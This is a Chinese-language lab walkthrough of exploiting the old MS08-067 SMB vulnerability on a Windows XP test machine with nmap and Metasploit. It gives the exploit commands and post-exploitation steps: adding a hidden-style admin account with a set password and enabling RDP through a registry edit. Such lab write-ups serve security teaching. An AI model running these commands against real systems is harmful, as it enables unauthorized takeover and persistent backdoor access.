漏洞简介
1 | MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。 |
这是一个十多年前的漏洞,MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。SMB(server massage block)在windows操作系统中是默认在139/445端口开放的,该协议主要用来共享文件等。基于该协议的漏洞也有不少,当然,ms08067是最有名的一个。
环境准备
1 | 攻击机:kali |
对于靶机,一开始我用的是Windows server 2003 中文版。nmap扫描发现有该漏洞,但是用msf获取shell却一直失败。后来查资料发现,Windows server 2003 中文版的payload需要稍作修改。简单起见,我换了win xp sp3,最后成功获取shell。
漏洞检测
搭好环境后,进行主机发现,靶机ip:192.168.202.137
nmap扫描,查看开放哪些端口,发现139、445都开放
继续nmap扫描,判断MS08067漏洞是否存在
1 | nmap --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.202.137 |
发现存在ms08-067漏洞,接下来用msf进行攻击
漏洞攻击
打开msfconsole,查找该漏洞利用框架
use exploit/windows/smb/ms08_067_netapi,然后选择payload
show options查看参数,接下来设置参数
1 | rhost:靶机ip |
exploit
成功获取shell,接下来提权,步骤如下:
1、添加新用户
1 | net user kangel 2314838574 /add |
2、添加新用户到管理员组
1 | net localgroup administrators kangel /add |
3、开放3389端口进行远程连接
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
查看端口
用win7进行远程连接,首先检查能否ping通
进行远程连接
成功!